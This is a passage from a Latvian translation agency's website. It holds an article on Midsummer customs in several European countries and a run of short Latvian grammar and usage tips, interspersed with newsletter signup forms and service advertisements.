rituāliem, kas tiek veikti šajos svētkos, saistīti ar svētīšanu un veiksmes nodrošināšanu. Tiek dedzināti ugunskuri, notiek dejas un dziedāšana. Dažviet tiek rīkotas zirgu skriešanās. JĀŅI VECAJĀ, LABAJĀ EIROPĀ JĀŅI LIETUVĀ Lietuvā, kur svētkus sauc par „Jonas” svētku svinēšana ļoti plaši notika līdz padomju okupācijai, pēc tam svētki daudzviet vairs netika svinēti vai svinēti ļoti nedaudzās vietās. Mūsdienās to svinēšanas tradīcijas sāk atdzīvoties, tāpat kā Latvijā tiek dedzināti ugunskuri, dziedātas dziesmas un dejots. JĀŅI SOMIJĀ Somi Jāni sauc senā dieva Uko vārdā par Ukonjuhlu. Somi tāpat kā latvieši Ukonjuhlu brauc svinēt uz laukiem. Ozola vietā viņiem gan ir bērzs. Tie, kam saulgriežu laikā jāpaliek pilsētā, var nopirkt bērzu zarus un ceriņus, lai mājās radītu lauku ilūziju. Saulgriežu nakts kulminācija ir ugunskura aizdegšana. Dažos somu ciemos pat notiek sacensības ─ kurš izveidos vislielāko ugunskuru un cik tālu tas būs redzams. Neatņemama svētku daļa ir balti bērzi, meitenes tautastērpos un zili baltais Somijas karogs. Somiem Jāņi nebūtu Jāņi, ja netiktu izmantotas tradicionālās somu pirtis. Interesanta ir lielā atšķirība ─ somi Jāņos kurina pirti, bet latviešu ticējums vēsta, ka Jāņu naktī nedrīkst kurināt pirti, lai zirgi nesvīstu. Vasaras saulgriežu laikā tiek organizēti daudzi mūzikas festivāli un cilvēki ap šo laiku masveidā dodas brīvdienās, pārceļoties no pilsētas un lauku kotedžām. Somijā līdz 1955. gadam vasaras saulgrieži tika svinēti 24. jūnijā, bet turpmāk ─ sestdienā, kas iekrīt starp 20. un 26. jūniju. Arī somiem galvenā tradīcija ir ugunskuri, kuri galvenokārt tiek aizdegti ezeru vai jūras krastā. Somijā iet gluži kā pie mums — kuras milzu ugunskuri, ļaudis dzer ne tikai alu, bet arī ko stiprāku, iet peldēties, brauc ar automašīnām, un pēc svētkiem laikraksti publicē sirdi stindzinošus statistikas datus par bojāgājušajiem. JĀŅI ZVIEDRIJĀ Zviedrijā svētki tiek svinēti starp 19. un 25. jūniju. Svētku rituālu vidū ir dejošana ap ziediem rotātu stabu, kurā piedalās gan pieaugušie, gan bērni. Tiek spēlēta tautas mūzika un dziedātas īpašas svētku dziesmas, rīkotas maltītes un alus dzeršana. Pastāv uzskats, ka vasaras saulgriežu naktī notiek maģiskas lietas, tiek zīlēta nākotne. JĀŅI NORVĒĢIJĀ Dažviet saglabājusies tradīcija precēties šajos svētkos ─ kāzas esot simbols visam jaunajam. Kaut gan Norvēģijā saulgrieži nav oficiāli svētki, daudzi cilvēki izmanto vasaras īsāko nakti, lai sarīkotu privātas ballītes un līksmotu pie ugunskura. JĀŅI DĀNIJĀ Dānijā Jāņus dēvē par „Sankt Hans aften”. Mūsdienās svētkus vairs tik plaši neatzīmē, taču cilvēki izbrauc zaļumos un rīko piknikus, kā arī dedzina ugunskurus. Saglabājusies arī tradīcija ugunskurā sadedzināt salmu lelli jeb raganu. JĀŅI ANGLIJĀ Ik gadu tūkstošiem vasaras saulgriežu svētku svinētāji pulcējas pie seno druīdu akmens krāvumiem Stounhedžā Anglijas dienvidos. Kaut gan mūsdienu druīdiem nav nekādas saistības ar sākotnējiem druīdu priesteriem, tomēr tradīcija joprojām ir dzīva. Par spīti varas pretdarbībai! 1985. gadā Anglijas varas iestādes aizliedza druīdu svētku svinēšanu, jo uzskatīja, ka vērienīgie svētki varētu kaitēt vēsturiskajiem akmeņiem un apkārtējai ainavai. Tomēr britu karaļnamam neizdevās iznīdēt vasaras saulgriežu svinības. Tā bija tikai neliela un tautas neizprasta angļu karalienes kaprīze, tāda pati kā savulaik Hruščova mēģinājums latviešiem atņemt Jāņu ugunskurus. JĀŅI FRANCIJĀ Francijā Jāņi reiz tika atzīmēti 24. jūnija vakarā, aizdedzinot ugunskurus un piekopjot dažādus pagānu rituālus, taču mūsdienās tos tikpat kā neatzīmē, taču ap šo laiku tiek rīkoti dažādi mūzikas pasākumi. JĀŅI ĪRIJĀ Īrijā šie svētki reiz tika plaši atzīmēti. Ar laiku svētki izzuduši no īru tradīcijām, lai gan atsevišķos lauku rajonos tos vēl atzīmē ar svētku tirdziņiem, mūzikas pasākumiem un uguņošanu. Pēdējos gados Jāņu svinēšanas tradīcijas Īrijā atdzīvinājuši uz turieni emigrējušie latvieši un lietuvieši. JĀŅI SPĀNIJĀ Pārsvarā svētkus atzīmē lauku reģionos vai jūras piekrastes ciemos, kur tiek dedzināti ugunskuri, kas atbaida sliktos garus un dod svētību apkārtējiem. Svētkos tiek gatavota īpaša maltīte, bet tie, kas tic ticējumiem, vāc dabas augus, jo, šajā dienā vāktiem, tiem esot spēks dziedēt slimības. JĀŅI PORTUGĀLĒ Portugālē svētkus dēvē par „Santos Populares” un katrā Portugāles pilsētā tos svin atšķirīgā jūnija dienā. Visplašāk portugāļu Jāņi tiek svinēti valsts Ziemeļos ─ Porto pilsētā un tās apkārtnē. Vasaras saulgriežu dienā tiek godināts kāds no svētajiem, pilsētā notiek plašas svinības, tiek rotātas ielas un laukumi. Skvēros tiek rīkotas dejas un uzstādīti nelieli altāri, par godu svētajiem. Šajos svētkos pēc portugāļu tradīcijām viens otram var atzīties mīlestībā. Portugāļi gan nemeklē papardes ziedus, bet dāvina viens otram bazilika stādiņus un mīlas balādes. Notiek arī pamatīga izēšanās un vīna dzeršana. JĀŅI RUMĀNIJĀ Rumānijā svētkus sauc par „Drăgaica” jeb „Sânziene”. Meitenes izpilda senu, tradicionālu rumāņu deju, kuras noslēgumā viena no viņām tiek izraudzīta par „Drăgaica”, kura tiek ietērpta līgavas tērpā un greznota ar ziedu vainagu. Pilsētās tiek rīkoti tirdziņi. JĀŅI VĀCIJĀ Bavārijā ik gadu 23. jūnijā kalnos tiek dedzināti ugunskuri ─ šī ieraša izdzīvojusi no sendienām, kad naktīs pie ugunskuriem sildījās gani. Šodien tie ir līksmes, iedzeršanas, kalnā kāpšanas svētki, kuros tiek pieminēti arī kalnos bojā gājušie. TULKOJUMI 110+ VALODĀS Skrivanek tulku un tulkotāju komanda strādā gan ar tipveida dokumentu rakstiskajiem tulkojumiem, gan notariāli apliecinātiem tulkojumiem. Tulkošanas birojs Skrivanek nodrošina arī tekstu korektūru un stilistisko uzlabošanu, ja nepieciešams tiek veikta redaktūra un terminoloģijas pārbaude. Nodrošinām visa veida mutiskās tulkošanas pakalpojumus uz un no angļu, igauņu, lietuviešu, somu, dāņu, norvēģu, zviedru, franču, spāņu, portugāļu, itāļu, rumāņu, vācu, bulgāru, horvātu, poļu, ukraiņu un citām valodām. Tulkojumi 110+ valodās VALODU KURSI Piedāvājam valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī individuālos un grupu kursus privātpersonām. Nodarbības nodrošinām klātienē vai tiešsaistē. Īpašais piedāvājums - apmeklējiet individuālos kursus divatā, maksājot tikai par viena studenta mācībām! Valodu kursi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties --- > Bieži dzirdam gan man interesē sports, gan mani interesē sports. Kā pareizi? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - Published: 2018-12-27 - Modified: 2024-10-24 - URL: https://skrivanek.lv/man-interese-pret-mani-interese/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional MAN INTERESĒ PRET MANI INTERESĒ 1 Bieži dzirdam gan „man interesē sports”, gan „mani interesē sports”. Kā pareizi? Darbības vārds „interesēt” ir t. s. pārejošais darbības vārds, proti, darbības vārds, kurš nosauc darbību, kas vērsta uz objektu akuzatīvā (locījums, kas atbild uz jautājumu „Ko? ”): piemēram, ēst saldumus, saukt draugu. Arī ar vārdu „interesēt” lietojams akuzatīvs: meiteni interesē mode, viņu interesē medības. Šajā konstrukcijā bieži dzirdētais datīvs (locījums, kas atbild uz jautājumu „Kam? ”) droši vien tiek lietots pēc analoģijas ar vārdu „patikt”: „man patīk sports”, „meitenei patīk mode”, „viņam patīk medības”. Tātad mani interesē sports, mūs interesē jūsu viedoklis utt. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Ko atradīsim uzņēmuma mājaslapā, un ko – tīmekļvietnē? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - Published: 2018-12-27 - Modified: 2024-07-15 - URL: https://skrivanek.lv/majaslapa-pret-timeklvietne/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional MĀJASLAPA PRET TĪMEKĻVIETNE 1 Ko atradīsim uzņēmuma mājaslapā, un ko – tīmekļvietnē? Internetā ievadīta un pēc noteiktas adreses atrodama elektroniska informācija (par uzņēmumu, organizāciju, cilvēku u. tml. ) ir mājaslapa (angļu val. „homepage”). Mājaslapa ir pirmā lapa, ko atveram un no kuras varam nokļūt tālāk – visā tīmekļvietnē (angļu val. „website”). Tīmekļvietne ir informācijas un interaktīvu pakalpojumu sakopojums, kas uzbūvēts no tīmekļa lappusēm un cita veida datiem (attēliem, skaņām u. tml. ). Tātad no tīmekļvietnes „skrivanek. lv” sākumlapas jeb mājaslapas varam nokļūt tālākajās tīmekļvietnes sadaļās: „Pakalpojumi”, „Nozares” utt. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Jāiznes miskaste vai atkritumu spainis? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē - Published: 2018-12-27 - Modified: 2024-08-29 - URL: https://skrivanek.lv/miskaste-pret-atkritumu-spainis/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional MISKASTE PRET ATKRITUMU SPAINIS 1 Vai jāiznes miskaste vai atkritumu spainis? Vārds „miskaste” ir no vācu valodas aizgūts vārds, kura pamatā ir vārds „Mist” ar nozīmi ‘mēsli’. Šis uzskatāms par sarunvalodas vārdu, un tā vietā ieteicams lietot tādus vārdu savienojumus kā „atkritumu tvertne”, „atkritumu spainis”. Tātad mums jāiznes pilnais atkritumu spainis vai atkritumu tvertne. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai ar saldumiem našķēsimies vai našķosimies? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - Published: 2018-12-27 - Modified: 2021-11-26 - URL: https://skrivanek.lv/nasketies-pret-naskoties/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional NAŠĶĒTIES PRET NAŠĶOTIES 1 Vai ar saldumiem našķēsimies vai našķosimies? Ēst kādu kārumu, baudīt to nelielos daudzumos nozīmē našķēties. Ļoti bieži sastopamā sarunvalodas forma „našķoties”, iespējams, ieviesusies pēc tādu vārdu kā „blēņoties”, „niekoties” parauga (niekošanās ar smalkmaizītēm). Tomēr pareizrakstības normām atbilst darbības vārds „našķēties”. Tātad varam našķēties ar saldējumu, našķēties pie medus poda u. tml. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu. KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kāds ir šo vārdu savienojumu lietojums? Uzzini! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2018-12-27 - Modified: 2024-10-23 - URL: https://skrivanek.lv/par-cik-pret-ta-ka/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PAR CIK PRET TĀ KĀ 1 Kā teiksim: „Par cik man patīk dzīvnieki, man mājās ir kaķis. ” vai „Tā kā man patīk dzīvnieki, man mājās ir kaķis. ”? Vārdu savienojums „par cik” ar nozīmi ‘tā kā’ latviešu valodā nav vēlams. Tas radies, burtiski atveidojot krievu valodas vārdu „поскольку”. Latviešu valodā, ievadot cēloņa palīgteikumu, lietojams tikai saiklis „tā kā”. Savienojumu „par cik” varam lietot, runājot par skaitāmu daudzumu, piemēram, cenām: „Par cik eiro var nopirkt jaunu automašīnu? ” Tātad teiksim šādi: „Tā kā man patīk dzīvnieki, man mājās ir kaķis. ”. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Rēķinu mums piestāda vai izraksta? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2018-12-27 - Modified: 2024-10-21 - URL: https://skrivanek.lv/piestadit-vai-izrakstit/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PIESTĀDĪT VAI IZRAKSTĪT 1 Vai rēķinu mums piestāda vai izraksta? Vārda „piestādīt” lietojums ar nozīmi ‘iesniegt (dokumentu), parasti pieprasot samaksu, atlīdzību’ latviešu valodā no stila viedokļa ir nevēlams. Par rēķinu tā vietā labāk teikt „izrakstīt rēķinu”, „nosūtīt rēķinu” vai „izsniegt rēķinu”. Vārdu „piestādīt” lietosim, ja, piemēram, piestādām pilnu dārzu ar puķēm: tad puķu piestādīts tik daudz, ka tās aizņem visu dārza platību. Tātad rēķinu mums izraksta, nosūta vai izsniedz. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Ar ko īsti tiek piepildīts caurums zobā – ar plombu vai plombi? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - Published: 2018-12-27 - Modified: 2024-08-09 - URL: https://skrivanek.lv/plomba-pret-plombe/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PLOMBA PRET PLOMBE 1 Ar ko īsti tiek piepildīts caurums zobā – ar plombu vai plombi? Vārds ir aizgūts no vācu valodas vārda „plombe”, kuram savukārt pamatā ir franču valodas vārds „plomb” – ‘svins’. Vācu valodas ietekmē arī latviešu valodā kādreiz šis vārds lietots ar galotni „e”, taču, kā teikts latviešu valodas vārdnīcās un pareizrakstības norādēs, tas ir 4. deklinācijas lietvārds. Tātad, ja zobā radies caurums, tajā tiks ielikta plomba. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai tie, kam ir īpašas priekšrocības, ir privileģēti vai priviliģēti? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - Published: 2018-12-27 - Modified: 2024-09-02 - URL: https://skrivanek.lv/privilegets-pret-priviligets/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PRIVILEĢĒTS PRET PRIVILIĢĒTS 1 Vai tie, kam ir īpašas priekšrocības, ir privileģēti vai priviliģēti? Latīņu valodā vārds „privilegium” nozīmē ‘likums, kas attiecas uz atsevišķu cilvēku’. No tā radies vārds „privilēģija” – īpaša izņēmuma tiesība, priekšrocība, ko piešķir atšķirībā no citiem līdzīgiem. Piešķirt kādam privilēģiju ir „privileģēt”. Šāda persona kļūst privileģēta. Tātad tie, kam piešķirtas kādas īpašas tiesības vai priekšrocības, ir privileģēti – privileģētas amatpersonas, privileģēti dalībnieki. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Ir propogandas vai propagandas ieroči? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2018-12-27 - Modified: 2024-08-21 - URL: https://skrivanek.lv/propoganda-pret-propaganda/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PROPOGANDA PRET PROPAGANDA 1 Vai ir propogandas vai propagandas ieroči? Darbības vārds „proponēt” (latīņu „proponere”) ir sinonīms vārdiem „ierosināt”, „ieteikt”. Savukārt vārdam „propaganda” atbilst darbības vārds „propagandēt”. Tas cēlies no latīņu darbības vārda „propagare”, kas nozīmē ‘izplatīties’ vai ‘izplatīt’. Mūsdienās to lielākoties lieto politiskā kontekstā – sistemātiski izplatīt uzskatus, idejas, viedokli, lai gūtu atbalstu un piekritējus. Tātad ir nacisma propaganda, PSRS propaganda, propagandas ieroči. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā rakstīsim: tiekamies pulksten 18:00 vai tiekamies pulksten 18.00? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - Published: 2018-12-27 - Modified: 2024-10-22 - URL: https://skrivanek.lv/pulksten-18-00/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PULKSTEN 18:00 PRET PULKSTEN 18. 00 1 Kā rakstīsim: tiekamies pulksten 18:00 vai tiekamies pulksten 18. 00? Latviešu valodā pulksteņa laika apzīmējumos starp stundas un minūšu cipariem liek punktu, piemēram: „koncerts sākas 20. 00”, „man šodien lekcijas ir līdz 16. 00”. Visticamāk, elektronisko laikrāžu dēļ punkta vietā nereti ieviesies kols, jo tas starp stundu un minūšu cipariem tiek lietots gan mūsu mobilajos tālruņos, gan citās elektroniskās ierīcēs. Tātad rakstīsim: tiekamies šodien pulksten 18. 00; 